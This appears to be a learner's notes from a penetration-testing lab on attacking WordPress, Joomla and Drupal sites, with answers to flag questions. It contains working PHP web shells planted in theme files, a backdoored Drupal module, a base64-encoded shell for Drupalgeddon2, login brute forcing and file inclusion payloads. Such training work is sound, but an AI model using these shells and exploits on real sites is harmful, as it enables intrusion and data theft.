Attacking Common Applications

Introduction

To simulate a large, realistic environment with multiple webservers, we utilize Vhosts to house the web applications. Since these Vhosts all map to a different directory on the same host, we have to make manual entries in our /etc/hosts file on the Pwnbox or local attack VM to interact with the lab.

To do this quickly, we could run the following:

MonoSalgado123@htb[/htb]$ IP=10.129.42.195 (target IP)

$ printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

Afterwards, in the /etc/hosts file, at the end should include the IP with the different vhosts included.

App Discovery and Enumeration

Nmap - Web Discovery

MonoSalgado123@htb[/htb]$ nmap -p 80,443,8000,8080,8180,8888,1000 --open -oA web_discovery -iL scope_list (scope_list is a file you create which includes the vhosts you want to discover on the network and through the ports)

sudo nmap --open –sV (Enumerating one of the hosts further using an Nmap service scan (-sV) against the default top 1,000 ports can tell us more about what is running on the webserver.)

Using eyewitness:

eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness (The web_discovery.xml is the file that the analysis from the nmap gave us, and the inlanefreight_eyewitness, is the file that the eyewitness is going to put the report)

With the report you can gain a lot of important information of a page.

WordPress Discovery and Enumeration

Discovery/Foot printing

A quick way to identify a WordPress site is by browsing to the /robots.txt file. A typical robots.txt on a WordPress installation may look like:

```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml
```

There are five types of users on a standard WordPress installation.

Administrator: This user has access to administrative features within the website. This includes adding and deleting users and posts, as well as editing source code.

Editor: An editor can publish and manage posts, including the posts of other users.

Author: They can publish and manage their own posts.

Contributor: These users can write and manage their own posts but cannot publish them.

Subscriber: These are standard users who can browse posts and edit their profiles.

Getting access to an administrator is usually sufficient to obtain code execution on the server. Editors and authors might have access to certain vulnerable plugins, which normal users don't.

Enumeration

Another quick way to identify a WordPress site is by looking at the page source. Viewing the page with cURL and grepping for WordPress can help us confirm that WordPress is in use and footprint the version number, which we should note down for later.

Browsing the site and perusing the page source will give us hints to the theme in use, plugins installed, and even usernames if author names are published with posts. We should spend some time manually browsing the site and looking through the page source for each page, grepping for the wp-content directory, themes and plugin, and begin building a list of interesting data points.

Example:

curl -s http://blog.inlanefreight.local/ | grep plugins

curl -s http://blog.inlanefreight.local/?p=1 | grep plugins

WPScan

WPScan is an automated WordPress scanner and enumeration tool. It determines if the various themes and plugins used by a blog are outdated or vulnerable.

The --enumerate flag is used to enumerate various components of the WordPress application, such as plugins, themes, and users. By default, WPScan enumerates

vulnerable plugins, themes, users, media, and backups. However, specific arguments can be supplied to restrict enumeration to specific components. For example, all plugins can be enumerated using the arguments --enumerate ap. Let's invoke a normal enumeration scan against a WordPress website with the --enumerate flag and pass it an API token from WPVulnDB with the --api-token flag.

Example: sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>

The default number of threads used is 5. However, this value can be changed using the -t flag.

Question: Enumerate the host and find a flag.txt flag in an accessible directory.

I installed dirbuster from a git repository using: git clone https://gitlab.com/kalilinux/packages/dirbuster.git

Then run the .sh file en la carpeta.

In the GUI I put the http we are attacking, then selected the medium.txt file and include .txt in the file extension. Then analyze the tree view which made it easy to find the flag.txt and open it in the browser to find the answer.

Question: Perform manual enumeration to discover another installed plugin. Submit the plugin name as the answer (3 words).

curl –s http://blog.inlanefreight.local/?p=1 | grep plugin

Question: Find the version number of this plugin. (i.e., 4.5.2)

Using the dirbuster, in the view tree, go into the plugin read me txt and there is the version.

Login BruteForce

WPScan can be used to brute force usernames and passwords. The scan report in the previous section returned two users registered on the website (admin and john). The tool uses two kinds of login brute force attacks, xmlrpc and wp-login. The wp-login method will attempt to brute force the standard WordPress login page, while the xmlrpc method uses WordPress API to make login attempts through /xmlrpc.php. The xmlrpc method is preferred as it's faster.

Example: sudo wpscan --password-attack xmlrpc -t 20 -U john (user found before) -P /usr/share/wordlists/rockyou.txt (this is a text with a dictionary of passwords) --url http://blog.inlanefreight.local

The --password-attack flag is used to supply the type of attack. The -U argument takes in a list of users or a file containing user names. This applies to the -P passwords option as well. The -t flag is the number of threads which we can adjust up or down depending. In the example they find a user jhon and its password.

With administrative access to WordPress, we can modify the PHP source code to execute system commands. Log in to WordPress with the credentials for the john user, which will redirect us to the admin panel. We can edit an uncommon page such as 404.php to add a web shell. (system($_GET[0]);) The code above should let us execute commands via the GET parameter 0. We add this single line to the file just below the comments to avoid too much modification of the contents.

We can interact with the web shell via the browser or using cURL. As always, we can then utilize this access to gain an interactive reverse shell and begin exploring the target.

Example: curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

This link:
https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_admin_shell_upload/

can be used to upload a shell and execute it automatically. The module uploads a malicious plugin and then uses it to execute a PHP Meterpreter shell. We first need to set the necessary options.

We can then issue the show options command to ensure that everything is set up properly. In this lab example, we must specify both the vhost and the IP address, or the exploit will fail with the error Exploit aborted due to failure: not-found: The target does not appear to be using WordPress. Once we are satisfied with the setup, we can type exploit and obtain a reverse shell. From here, we could start enumerating the host for sensitive data or paths for vertical/horizontal privilege escalation and lateral movement.

Leveraging Known Vulnerabilities

Most of the vulnerabilities are found in plugins.

Mail-masta: Has a vulnerability on the variable pl. The pl parameter allows us to include a file without any type of input validation or sanitization. Using this, we can include arbitrary files on the webserver. Let's exploit this to retrieve the contents of the /etc/passwd file using cURL.

Example: curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

WpDiscuz: is intended only to allow image attachments. The file mime type functions could be bypassed, allowing an unauthenticated attacker to upload a malicious PHP file and gain remote code execution. The exploit script takes two parameters: -u the URL and -p the path to a valid post.

Example: python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1 (The exploit as written may fail, but we can use cURL to execute commands using the uploaded web shell. We just need to append ?cmd= after the .php extension to run commands which we can see in the exploit script.)

Example: curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id

Question: Perform user enumeration against http://blog.inlanefreight.local. Aside from admin, what is the other user present?

First - we need an API token: that can be obtain from 'https://wpscan.com/'. All we have to do is register, confirm email, login and claim the provided token for our made user.

Then use: sudo wpscan --url http://blog.inlanefreight.local -- enumerate --api-token <api-token-value> > output_file

Question: Perform a login bruteforcing attack against the discovered user. Submit the user's password as the answer.

First you need to decompress rockyou.txt.gz

Then you need to run this command: sudo wpscan --password-attack xmlrpc -t 20 -U doug -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

Question: Using the methods shown in this section, find another system user whose login shell is set to /bin/bash.

With the user and password, we just discovered, we can enter wp-admin of the page.

Then go to Appearance and Theme Editor, then select the Twenty Nineteen.

Then select the 404 template and add system($_GET[0]); and update file (it doesnt need to be like a 0, it can be a word and then in the url you just put ?theword=...). The command above allows us to run shell on the server side with the parameter 0. It can be done either with curl command, or the web interface.

Of course, the 'we-content/themes' is the path our themes are stored, and 404.php is within the 'twentynineteen' theme. The ?0=id is our parameter, where '0' is the value we injected to the server side as the corrupted parameter, and 'id' is the test command

value. In the picture above we see it works, but 'id' is not the command we need to get the other user with /bin/bash shell. Now, we need another command, which would be: cat /etc/passwd | grep bash now for the url, with the encoding of space (' ') to ascii ('%20') (space value is hexadecimal 20 in ascii):

http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=cat%20/etc/passwd%20|%20grep%20bash

Now use curl with that and that is it.

Question: Following the steps in this section, obtain code execution on the host and submit the contents of the flag.txt file in the webroot.

First we run pwd to know where we are: curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=pwd"

It tells us we are inside the twentynineteen directory, now use the ls -la command: curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=ls%20/var/www/blog.i nlanefreight.local"

There is a flag.txt file which is readable, then use cat to show the content of the txt: curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=cat%20/var/www/blog.inlanefreight.local/flag_d8e8fca2dc0f896fd7cb4cb0031ba249.txt"

The metasploit method didnt worked.

Joomla Discovery and Enumeration:

Joomla, released in August 2005 is another free and open-source CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more. It is written in PHP and uses MySQL in the backend.

Discovery/Footprint

If we can fingerprint what the site is running on, we may be able to uncover vulnerabilities or misconfigurations. Based on the limited information, we assume that the site is running Joomla, but we must confirm that fact and then figure out the version number and other information such as installed themes and plugins. We can often fingerprint Joomla by looking at the page source, which tells us that we are dealing with a Joomla site.

Example: curl -s http://dev.inlanefreight.local/ | grep Joomla

In certain Joomla installs, we may be able to fingerprint the version from JavaScript files in the media/system/js/ directory or by browsing to administrator/manifests/files/joomla.xml.

Example: curl –s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

The cache.xml file can help to give us the approximate version. It is located at plugins/system/cache/cache.xml.

Enumeration

Let's try out droopescan, a plugin-based scanner that works for SilverStripe, WordPress, and Drupal with limited functionality for Joomla and Moodle.

We can clone the Git repo and install it manually or install via pip.

Example: droopescan scan joomla --url http://dev.inlanefreight.local/

The default administrator account on Joomla installs is admin, but the password is set at install time, so the only way we can hope to get into the admin back-end is if the account is set with a very weak/common password and we can get in with some guesswork or light brute-forcing. We can use this script to attempt to brute force the login.

Example: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

Question: Fingerprint the Joomla version in use on http://app.inlanefreight.local (Format: x.x.x)

Run this: curl -s http://app.inlanefreight.local/administrator/manifests/files /joomla.xml | xmllint --format -

Question: Find the password for the admin user on http://app.inlanefreight.local

Install Joomla-bruteforce tool:

git clone https://github.com/ajnik/joomla-bruteforce.git

And then run:

sudo python3 joomla-brute.py -u http://app.inlanefreight.local -w /usr/share/metasploit- framework/data/wordlists/http_default_pass.txt -usr admin

Attacking Joomla

We now know that we are dealing with a Joomla e-commerce site. If we can gain access, we may be able to land in the client's internal environment and begin enumerating the internal domain environment. During the Joomla enumeration phase and the general research hunting for company data, we may come across leaked credentials that we can use for our purposes.

Using the credentials that we obtained in the examples from the last section, admin:admin, let's log in to the target backend at http://dev.inlanefreight.local/administrator. Once logged in, we can see many options available to us. For our purposes, we would like to add a snippet of PHP code to gain RCE. We can do this by customizing a template.

From here, we can click on Templates on the bottom left under Configuration to pull up the templates menu. Next, we can click on a template name. Let's choose protostar under the Template column header. This will bring us to the Templates: Customise page. Finally, we can click on a page to pull up the page source. It is a good idea to get in the habit of using non-standard file names and parameters for our web shells to not make them easily accessible to a "drive-by" attacker during the assessment. We can also password protect and even limit access down to our source IP address. Also, we must always remember to clean up web shells as soon as we are done with them but still include the file name, file hash, and location in our final report to the client.

Let's choose the error.php page. We'll add a PHP one-liner to gain code execution as follows. system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

Once this is in, click on Save & Close at the top and confirm code execution using cURL.

Example: curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

Leveraging Known Vulnerabilities

Let's dig into a Joomla core vulnerability that affects version 3.9.4, which our target http://dev.inlanefreight.local/ was found to be running during our enumeration. Checking the Joomla downloads page, we can see that 3.9.4 was released in March of 2019. Though it is out of date as we are on Joomla 4.0.3 as of September 2021, it is entirely possible to run into this version during an assessment, especially against a large enterprise that may not maintain a proper application inventory and is unaware of its existence.

Researching a bit, we find that this version of Joomla is likely vulnerable to CVE-2019-10945 which is a directory traversal and authenticated file deletion vulnerability. We can use this exploit script to leverage the vulnerability and list the contents of the webroot and other directories. We can also use it to delete files (not recommended). This could lead to access to sensitive files such as a configuration file or script holding credentials if we can then access it via the application URL. An attacker could also cause damage by deleting necessary files if the webserver user has the proper permissions. We can run the script by specifying the --url, --username, --password, and

--dir flags. As pentesters, this would only be useful to us if the admin login portal is not accessible from the outside since, armed with admin creds, we can gain remote code execution.

Example: python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /

Question: Leverage the directory traversal vulnerability to find a flag in the web root of the http://dev.inlanefreight.local/ Joomla application

First go to: http://dev.inlanefreight.local/administrator/

Enter with the credential's admin:admin

Go to Extensions -> Templates -> Styles

Selecter ProtoStar and select error.php where you need to input the code: system($_GET['maliciousparameter']); then save.

Afterwards use curl to get the info in the flag. Which was discovered using the process of pwd, ls, etc. Command: curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?maliciousparameter=cat%20../../flag_6470e394cbf6dab6a91682 cc8585059b.txt"

Drupal Discovery and Enumeration

Drupal, launched in 2001 is the third and final CMS we'll cover on our tour through the world of common applications. Drupal is another open-source CMS that is popular among companies and developers. Drupal is written in PHP and supports using MySQL or PostgreSQL for the backend. Additionally, SQLite can be used if there's no DBMS installed.

Discovery/Footprinting

A Drupal website can be identified in several ways, including by the header or footer message Powered by Drupal, the standard Drupal logo, the presence of a CHANGELOG.txt file or README.txt file, via the page source, or clues in the robots.txt file such as references to /node.

Example: curl -s http://drupal.inlanefreight.local | grep Drupal

Another way to identify Drupal CMS is through nodes. Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form /node/<nodeid>. For example, the blog post above is found to be at /node/1. This representation is helpful in identifying a Drupal website when a custom theme is in use. Example: drupal.inlanefreight.local/node/1

Drupal supports three types of users by default:

Administrator: This user has complete control over the Drupal website.

Authenticated User: These users can log in to the website and perform operations such as adding and editing articles based on their permissions.

Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.

Enumeration

Once we have discovered a Drupal instance, we can do a combination of manual and tool-based (automated) enumeration to uncover the version, installed plugins, and more. Depending on the Drupal version and any hardening measures that have been put in place, we may need to try several ways to identify the version number. Newer installs of Drupal by default block access to the CHANGELOG.txt and README.txt files, so we may need to do further enumeration. Let's look at an example of enumerating the version number using the CHANGELOG.txt file. To do so, we can use cURL along with grep, sed, head, etc.

Example: curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""

curl -s http://drupal.inlanefreight.local/CHANGELOG.txt (gives a 404 response)

Let's try a scan with droopescan as shown in the Joomla enumeration section. Droopescan has much more functionality for Drupal than it does for Joomla.

Example: droopescan scan drupal -u http://drupal.inlanefreight.local

Attacking Drupal

Now that we've confirmed that we are facing Drupal and fingerprinted the version let's look and see what misconfigurations and vulnerabilities we can uncover to attempt to gain internal network access. Unlike some CMS', obtaining a shell on a Drupal host via the admin console is not as easy as just editing a PHP file found within a theme or uploading a malicious PHP script.

Leveraging the PHP Filter Module

In older versions of Drupal (before version 8), it was possible to log in as an admin and enable the PHP filter module, which "Allows embedded PHP code/snippets to be evaluated."

Example: http://drupal-qa.inlanefreight.local/#overlay=admin/modules

From here, we could tick the check box next to the module and scroll down to Save configuration. Next, we could go to Content --> Add content and create a Basic page.

We can now create a page with a malicious PHP snippet such as the one below. We named the parameter with an md5 hash instead of the common cmd to get in the practice of not potentially leaving a door open to an attacker during our assessment. If we used the standard system($_GET['cmd']); we open up ourselves up to a "drive-by" attacker potentially coming across our web shell. Though unlikely, better safe than sorry!

Code: php

<?php

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

?>

We also want to make sure to set Text format drop-down to PHP code. After clicking save, we will be redirected to the new page, in this example http://drupal-qa.inlanefreight.local/node/3. Once saved, we can either request execute commands in the browser by appending ?dcfdd5e021a869fcc6dfaef8bf31377e=id to the end of the URL to run the id command or use cURL on the command line. From here, we could use a bash one-liner to obtain reverse shell access.

Example: curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves. Since we would be changing and adding something to the client's Drupal instance, we may want to check with them first. We'd start by downloading the most recent version of the module from the Drupal website. Command: wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Once downloaded go to Administration > Reports > Available updates.

http://drupal.inlanefreight.local/admin/reports/updates/install

From here, click on Browse, select the file from the directory we downloaded it to, and then click Install. Once the module is installed, we can click on Content and create a

new basic page, similar to how we did in the Drupal 7 example. Again, be sure to select PHP code from the Text format dropdown. With either of these examples, we should keep our client apprised and obtain permission before making these sorts of changes. Also, once we are done, we should remove or disable the PHP Filter module and delete any pages that we created to gain remote code execution.

Uploading a Backdoored Module

Drupal allows users with appropriate permissions to upload a new module. A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Let's pick a module such as CAPTCHA. Scroll down and copy the link for the tar.gz archive. Download the archive and extract its contents.

Commands: $ wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz

$ tar xvf captcha-8.x-1.2.tar.gz

Create a PHP web shell with the contents:

Code: php

<?php

system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);

?>

Next, we need to create a .htaccess file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the /modules folder.

Code: html

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

</IfModule>

The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.

Commands: $ mv shell.php .htaccess captcha

$ tar cvf captcha.tar.gz captcha/

Assuming we have administrative access to the website, click on Manage and then Extend on the sidebar. Next, click on the + Install new module button, and we will be

taken to the install page, such as http://drupal.inlanefreight.local/admin/modules/install Browse to the backdoored Captcha archive and click Install.

Once the installation succeeds, browse to /modules/captcha/shell.php to execute commands.

Example: curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

Leveraging Known Vulnerabilities

Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed Drupalgeddon. At the time of writing, there are 3 Drupalgeddon vulnerabilities in existence.

1. CVE-2014-3704, known as Drupalgeddon, affects versions 7.0 up to 7.31 and was fixed in version 7.32. This was a pre-authenticated SQL injection flaw that could be used to upload a malicious form or create a new admin user.
2. CVE-2018-7600, also known as Drupalgeddon2, is a remote code execution vulnerability, which affects versions of Drupal prior to 7.58 and 8.5.1. The vulnerability occurs due to insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected.
3. CVE-2018-7602, also known as Drupalgeddon3, is a remote code execution vulnerability that affects multiple versions of Drupal 7.x and 8.x. This flaw exploits improper validation in the Form API.

Drupalgeddon

As stated previously, this flaw can be exploited by leveraging a pre-authentication SQL injection which can be used to upload malicious code or add an admin user. Let's try adding a new admin user with this PoC (https://www.exploit-db.com/exploits/34992) script. Once an admin user is added, we could log in and enable the PHP Filter module to achieve remote code execution.

Example: python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd

We can login in as an admin, from here, we could obtain a shell through the various means discussed previously.

Drupalgeddon2

This is the link to confirm the vulnerability, the python code: https://www.exploit-db.com/exploits/44448. It uploads a hello.txt file

We can check quickly with cURL and see that the hello.txt file was indeed uploaded.

curl -s http://drupal-dev.inlanefreight.local/hello.txt

Now let's modify the script to gain remote code execution by uploading a malicious PHP file. <?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>

Command: $ echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64

Next, let's replace the echo command in the exploit script with a command to write out our malicious PHP script.

echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php (trying to upload mrb3n.php)

Next, run the modified exploit script to upload our malicious PHP file.

Command: python3 drupalgeddon2.py

Finally, we can confirm remote code execution using cURL.

curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id

Drupalgeddon3

Drupalgeddon3 is an authenticated remote code execution vulnerability that affects multiple versions of Drupal core. It requires a user to have the ability to delete a node. We can exploit this using Metasploit, but we must first log in and obtain a valid session cookie. Once we have the session cookie, we can set up the exploit module as follows.

If successful, we will obtain a reverse shell on the target host.